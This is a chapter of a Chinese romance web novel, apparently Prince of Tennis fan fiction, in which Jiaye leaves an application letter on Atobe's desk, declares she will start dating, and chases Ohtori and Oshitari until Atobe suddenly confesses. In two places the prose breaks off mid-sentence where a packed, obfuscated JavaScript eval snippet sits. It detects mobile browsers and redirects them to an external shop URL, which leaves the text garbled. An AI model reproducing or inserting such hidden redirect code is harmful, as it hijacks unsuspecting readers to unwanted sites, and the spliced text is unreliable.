千穿万穿马屁不穿,再加上有的场静司“珠玉在前”的迷惑发言,迹部这番话的动听程度瞬间翻倍。 嘉叶的嘴角往上一翘,把申请书的事先放一边,十分客气地说:“不好意思,给你添麻烦了。” 电话那头的迹部笑容比早上八点的太阳还灿烂,但还是非常矜持地克制住自己的情绪,音调起伏和平时无异:“别在意,既然本大爷答应过会教,就不会食言。” 在迹部大爷几乎可以称得上是温柔耐心的指导下,嘉叶很快写完申请书。 临了,她半真心半客套地说:“谢谢啊,幸好有你帮忙,我自己弄估计得弄很久。” 这事虽然不难,但她第一次写,修修改改绝对会花费挺长时间,有迹部在确实事半功倍。 话筒中传来迹部愉快的轻笑声:“没事,你以后需要帮忙都可以来找我,我随时都在。” 嘉叶:? 是因为晚上人的气场较白天而言会弱一些吗?怎么感觉他像是突然变了一个人?变得亲切有礼貌,仿佛被夺舍! 把脑子里乱七八糟的想法甩出去,嘉叶应道:“好的,那我去睡咯,你也早点休息,晚安。” 迹部:“晚安,明天见。” 想到明早就能见到心上人,迹部景吾一夜好梦。 * 结束晨练的嘉叶提前十五分钟来到教室,发现宍户亮比她还早,便对着人浮夸地撩了把头发。 “你看,我今早自己剪的。” 宍户亮偏头看向她还算整齐的发尾,难道夸了夸:“手艺不错嘛师傅。” “那是当然,”嘉叶自信一笑,问,“下次我给你剪?” 棕发少年的表情瞬间僵硬,他是假客气,而她是真不客气。 “不用,剪坏了怎么办?” 自从初三那次破釜沉舟式的剃头后,他就格外宝贝自己的头发,定期找固定的美发师保养,从不冒险换其他Tony,自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530793|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能随便拿去给她剪着玩。 “怎么会呢?”嘉叶望着他认真道,“瞧瞧咱家小亮这脸、这身材、这气质,就没有剪坏的可能性。” 作为从小一起长大的好友,宍户亮深知这人的德行,她有点未达目的不择手段的坏毛病,经常鬼话连篇,满嘴跑火车,把人忽悠得一愣一愣的,稍不注意就会听从她的安排。 常年打交道,他对于嘉叶的彩虹屁免疫,面无表情地说:“别说这些没用的,想都别想。” 嘉叶:“切,小气鬼。” 宍户亮:“……”看吧,原形毕露了! 落座后,嘉叶从书包里拿出一小袋曲奇饼干,放到邻桌发小面前,“今早现烤的。” 宍户欣然笑纳:“谢了啊。” 嘉叶的烘焙手艺一流,另外两位发小向日岳人和芥川慈郎作为重点投喂对象,更是赞不绝口,她刚才路过那两人班级时顺手也送了。 扭头看向身后空空如也的座位,嘉叶把装在信封里的申请书端端正正地摆到迹部桌面上,并附赠一袋小饼干。 尽管嘉叶在学校里的人缘不佳,风评堪忧,但并不妨碍知名度居高不下,她的一举一动都备受关注。 于是乎,这一举动落在其他人眼里,就顺理成章地变成了送情书。 众人的内心大受震撼!一个二个都不吱声,屏息凝神,迫不及待地希望迹部赶紧来。 没想到椎名大姐头心有猛虎,细嗅蔷薇,竟愿意为了喜欢的男生洗手作羹汤,烤了和她的彪悍的人设完全不符的小饼干。 至于送宍户亮那份?应该是烤多了,不重要。 该说不说,她真的很大胆!别人送情书都是偷偷摸摸地放鞋柜、塞抽屉或者拜托别人转交。 她倒好,直接光明正大地当着全班同学的面摆桌子上! 不愧是大姐头,轻易做到了一般女生不敢做的事,哪怕被拒绝,大家也只会佩服她的勇气。 要是迹部答应呢?不可能,绝对不可能,学校里面没人敢和椎名谈恋爱。 世上美人千千万,君子不立于危墙之下,没必要以身试险和她谈,感觉稍有不慎就会被打个半死。 在吃瓜群众七上八下的心理活动中,迹部景吾走进教室。 刚进门,他就察觉到不对劲,就算平时早就习惯被人注视,可今天众人看他的目光明显不一般。 迹部满腹疑问地走向自己的座位,见椎名正专心看漫画,也就没有出声和她打招呼,视线往后移,被桌上的东西吸引注意。 白色的信封上大大地写了三个字“申请书”,信封一角被一袋曲奇饼干压住。 他怔愣在原地好几秒,不太确定地问:“椎名,你送的?” 嘉叶抬起头,懒洋洋地往后一仰看向他:“对啊。” 说完,视线再次回归漫画,没有过多解释。 殊不知在她没有注意到的地方,班上的同学集体痛失表情管理功能,露出那种像是看到外星人在和地底人跳霹雳舞般的呆愕表情,满地都是被惊掉的眼珠子和下巴子。 他们脑袋里不约而同地出现一句很俗的话:少爷已经很久没有这样笑过了。 他超爱! 17.第十七章 下课铃声一响,幸村莉奈就转头问嘉叶:“你申请书交了没?今早练习的人好多啊,跟沙丁鱼罐头似的。” 弓道部的活动空间有限,目前的面积容纳三十人刚刚够,可加上今年的新生,足足快五十人,根本不够站。 “当然交了啊,我一早就放会长大人桌子上了。” 说完,嘉叶迫不及待地从抽屉里拿出一本少女漫。 几年前姐姐买的,她之前对这类内容不感兴趣,但为了谈恋爱,得未雨绸缪,今早特地从箱底翻出来研究。 与此同时,班上同学突然意识到一个大问题——原来那不是情书,而是申请书! 就算情书是假的,可迹部的感情是真的!大家都看到了。虽然不理解,但……尊重祝福吧,他开心就好。 可能迹部此前的人生太过顺利,他渴望挫折教育。 “对了,”源深雪转过头来问,“放学要不要一起去逛街?” 嘉叶婉拒:“改天吧,我今天有约。” “谁啊谁啊?”幸村莉奈十分八卦地凑过来,“是哪家的帅哥这么好命,可以和小椎约会?” 闻言,后座的迹部立马竖起耳朵去听。 “是小美女啦,小兰上次来我家吃饭,觉得我做的奶汁烤菜特别好吃,约了今天上门教她。” 迹部放下心来,但转念一想,如果椎名肯和帅哥约会反而是好事,至少说明她有恋爱的想法。 可实际上她就是铁血寡王一枚,认为谈恋爱是浪费时间浪费生命,早早就做好不婚不育的打算,人生蓝图中压根没有恋爱这一环节。 初中时甚至不惜自毁名声,也要让追求者断了这份念想,可见态度之强硬,意志之坚定。 总而言之,他几乎一点希望都没有。 * 午休时间,嘉叶照例和两位好友在天台吃便当,顺便高调宣布自己的目标。 “我计划年底前谈一次恋爱。” 正在喝茶的城之内千佳如遭雷劈,她手忙脚乱地扭过头,冲着没人的地方把茶水悉数喷尽,化作人形花洒。 诸伏佑司目瞪口呆,手里的筷子“吧嗒”落地,故作镇定地弯腰捡筷子,一边用纸巾擦一边喃喃:“你是不是被什么‘不恋爱就会死’系统绑定了?” 倒也不怪他们反应那么大,嘉叶此前的确是坚定的单身主义者,但人都是会变的,她也不例外。 “那倒没有,不过我以前一直认为恋爱这种占用时间,消耗精力的事,至少要留到退休之后,等闲出屁了再说,但现在不一样,有些事得趁年轻。” 用手帕擦去嘴角的水渍,城之内千佳勉强平复好心情,还算淡定地问:“为什么突然想谈,有喜欢的人了?” 要是迹部知道,高低得哭一星期,提前为学生会长默哀。 嘉叶摇头,正色道:“我发现人类的激情啊、欲.望啊、对异性的冲动之类的东西都是有赏味期的,大概也就是在三十岁以前吧,三十岁之后就很难再心动了,所以谈恋爱得趁早。” 甚尔二十七就精神痿,她担心自己以后也会一样,留给她的时间不多了,掐指一算不到十年。 更何况假如真要等到退休再谈,岂不是只能谈老头?!全身皱巴巴,散发着老人臭,爹味十足的那种老登! 太可怕了!这是什么人间疾苦? 要谈赶紧谈,现在年轻貌美,可以和同样年轻貌美的帅哥谈恋爱,她才不要老头子呢! 今早在各大论坛浏览了一圈,发现网友普遍表示最纯真的恋爱都在学生时代,进入社会之后全是权衡利弊,少女漫画也多以校园为背景。 再一次证明,谈恋爱得趁年轻! 尽管椎名·恋爱绝缘体·双面不粘锅·寡王界的卧龙凤雏·嘉叶计划谈恋爱这一事的离奇程度不亚于她突然宣布自己打算竞选美国总统,但二位好友还是很快接受了现实,并帮忙出谋划策。 “你喜欢什么类型?”千佳问。 “用不用我帮你介绍?”佑司拿出手机,从好友列表中寻找单身帅哥,脑子里开始策划联谊活动。 “我已经有了合适的人选。”嘉叶微微一笑,胜券在握。 …… 在学生会长室补觉的迹部被闹钟吵醒,迷迷糊糊地抓起手机,横在屏幕中间的信息内容让他瞬间清醒。 城之内:【铁树开花,嘉叶准备谈恋爱了!你加油!不要输给别人啊!】 惊喜过后,迹部产生了一丝疑惑,“不要输给别人”是什么意思?怎么感觉话中有话。 不过这也不奇怪,那么好的女孩子,既然他惦记,其他人肯定也惦记。 迹部景吾不喜欢在没有意义的问题上纠结,迅速从沙发上起身,快步走到书桌前,从抽屉里拿出崭新的笔记本,奋笔疾书。 利用午休剩余的一点时间,他大致列了张表格。 短期目标是跟她约会,每周至少一次,慢慢积累好感,争取在八月十二号——她生日前表白,然后为她举办一场盛大而华丽的生日宴会…… 第一次约会定在动物园或者水族馆,她喜欢小动物,要提前查好天气,做好路线规划…… 表白仪式一定要符合她心意,椎名很注重隐私,不喜欢引人注目,所以场合必须要私密,把东京塔包下来吧,夜景、烟火、音乐、鲜花缺一不可…… 精密的计划表写完,望着密密麻麻的文字,迹部景吾只觉胜券在握,一切尽在掌控之中。 把本子放回抽屉锁好,过目不忘的迹部已经将内容都记在了脑子里,初步方案并不完美,有进一步优化的空间,到时候根据实际情况来调整吧。 心情大好的迹部推开门,不料一名紫发少女突然迎了上来,她扬起脸,直勾勾地望着他,声音带着明显的颤抖:“迹部学长!我、我有话想和您说!” 一看这架势,迹部景吾立刻明白她打算说什么,下意识地婉拒:“不好意思,本大爷还有别的事要忙。” 说完他转身就走,甚至没给对方留反应的时间,只可惜迹部小瞧了少女表白的决心,白川莉莉子一个箭步绕到他身前。 “拜托了!五分钟,哦不,三分钟就好!” 见状,迹部景吾不由得打量起面前的少女,喷了香水,化了精致的全妆,头发也卷得一丝不苟,并且他刚出门对方就迎过来,她该不会一直在这等着吧? 抬手确认了一眼表上的时间,距离上课还有十多分钟,迹部略微一点头:“好吧。” 如果哪天轮到他表白,也会希望对方至少能认真听完。 另一边,嘉叶已经回到教室,对着邻桌的发小说:“抱歉啊亮,立海大那边约我们明天练习赛,咱们吃饭的事只能改周五了。” “又改时间,”宍户亮放下手中的参考书,不满地轻啧一声,“可以是可以,但我要吃你做的咖喱饭。” 那是全世界最好吃的咖喱饭!在宍户的请求下,嘉叶把配方给了他,但做了几次就是没有她做的好吃,也不知道是哪里出了问题。 “好好好,给你做,”嘉叶先是答应,随即话锋一转,问,“凤同学有女朋友吗?” 宍户亮怀疑自己耳朵劈叉了,嘉叶从不八卦,严格来说她似乎对大部分人类都不感兴趣。 干嘛突然问这个,准备帮别人牵红线? “没有啊,怎么了?” 嘉叶明人不说暗话,单刀直入:“我要追他。” 凤长太郎,冰帝网球部二年级正选之一,和宍户亮是双打搭档,又乖又温柔的年下清纯小奶狗,作为初恋对象再合适不过。 班上同学纷纷用余光往这边瞄,心想——热闹了,迹部喜欢椎名,椎名喜欢凤,好一出校园狗血三角恋! “不行!”宍户亮猛地站起来,声音大到走廊那边都听得见,“我不同意!” 这下子更热闹了!难道说是四角恋?吃瓜群众只恨自己手边没有瓜子。 “为什么啊?”嘉叶不解,她还以为亮会积极帮忙牵线呢。 意识到自己的反应过大,宍户亮连忙坐下来,表情十分严肃,“你两不合适,我帮你介绍别的。” 作为青梅竹马,宍户亮对于椎名嘉叶的优缺点了如指掌——此人性格强势又固执,而凤长太郎是那种被人拐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535676|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要帮忙数钱的老实孩子。 要是真落到嘉叶手里,不出一个月,就会被调.教成对她唯命是从的乖狗狗。 宍户亮实在不忍心看自家搭档羊入虎口! 见他态度如此,完全没有商量的余地,嘉叶也就没有强求,顺着他的话说:“不行就不行嘛,那你说说,谁比较适合?” “我想想啊……” 宍户认真思索起来,他在校内关系好的朋友都是网球部的,首先排除迹部——披着霸道总裁外皮的傻白甜罢了,并不比长太郎好到哪里去。 考虑半晌,他说:“忍足吧,正好他也单身,你去碰碰运气。” 唯有老谋深算的冰帝天才——忍足侑士可以和大魔王嘉叶抗衡,没那容易被她忽悠。 “忍足?”嘉叶小声道,然后像是想到什么有意思的事一样,兴冲冲地问,“他几班来着?” 宍户:“E班。” “好嘞,我去去就来。” “去吧暴鲤龙,拿下这场道馆赛!” 源深雪和幸村莉奈远远地瞧见嘉叶大步流星的背影,还以为她着急上厕所,也就没有出声打招呼。 待两人一进教室,便听见众同学此起彼伏的讨论声。 “这下精彩了!” “椎名是真的勇,说去就去!不愧是大姐头,气势惊人!” “不过忍足和凤完全是两个类型吧,跨度也太大了。” “反正都是帅哥啦,不要在意这些小细节,可是忍足和迹部关系挺好的,不知道迹部打算怎么办。” …… 大惊失色的源深雪随手抓过一名同学,“怎么回事?快说!” 见一直端庄优雅的源如此失态,同学明显愣了一下,还以为她也喜欢忍足,连忙解释:“椎名打算追忍足,人已经往E班那边去了。” 丢下同学,源深雪冲出教室,一边跑,一边给迹部打电话。 兜里的手机突然震动起来,为了不打断白川的告白,迹部没多犹豫按下了挂断键。 把演练过无数次的话一鼓作气地讲完后,白川莉莉子大着胆子说:“我想当迹部学长的女朋友!您能和我谈恋爱吗?” “谢谢你这份心意,但是本大爷有喜欢的人,所以不能答应。” 结果和白川预料的一样,但听到本人亲口说出来时,还是觉得很受伤,她深吸一口气,把眼泪憋了回去,哽咽道:“您喜欢的人……是城之内学姐吗?学姐那么优秀,我心服口服……” “完蛋了景吾!” 眼尖的源深雪一下子就看到站在楼梯间发呆的迹部,四顾无人后她立即冲上去说:“我也不知道具体发生了什么,但嘉叶要去追忍足,你赶紧去E班拦……” 待走近,源深雪才发现还有别人在,看这个气氛,女生明显正在告白中。 唔!她来的好像不是时候。 嘉叶?椎名嘉叶?!白川莉莉子感觉自己的脑浆一下子都被烧干了,她不理解!那种不良少女到底哪里好?! 视线上移,眼前的迹部神色一凛,这位向来从容不迫的冰帝帝王脸上竟然出现了惊慌和无措。 他呆了两秒后,转身狂奔而去,背影有种说不上来的狼狈。 顺利和忍□□换完联系方式,嘉叶默默收起手机,对人甜甜一笑:“你最近有空吗?我们去约会。” 摊上大事的忍足推了推没有度数的平光镜,“我……” “椎名!” 嘉叶循声望去,迹部景吾正快步朝她走来,眉头紧锁,神色慌张,一把握住她的手腕,不由分说地把她拽出教室。 “你干嘛?!” 嘉叶不知道大少爷又犯什么病,昨晚还好好的,怎么今天又开始了,她也不是什么任人拿捏的软柿子,用力把手抽了回来,不耐烦道:“有事说事,别动手动脚!” 迹部景吾把什么计划表统统抛之脑后,身体里有一股无形的力量将积压的心口的话一股脑儿地往外推。 “我喜欢你!从以前到现在一直喜欢得不得了!你不准跟别人在一起!” 嘉叶:“……哦呼。”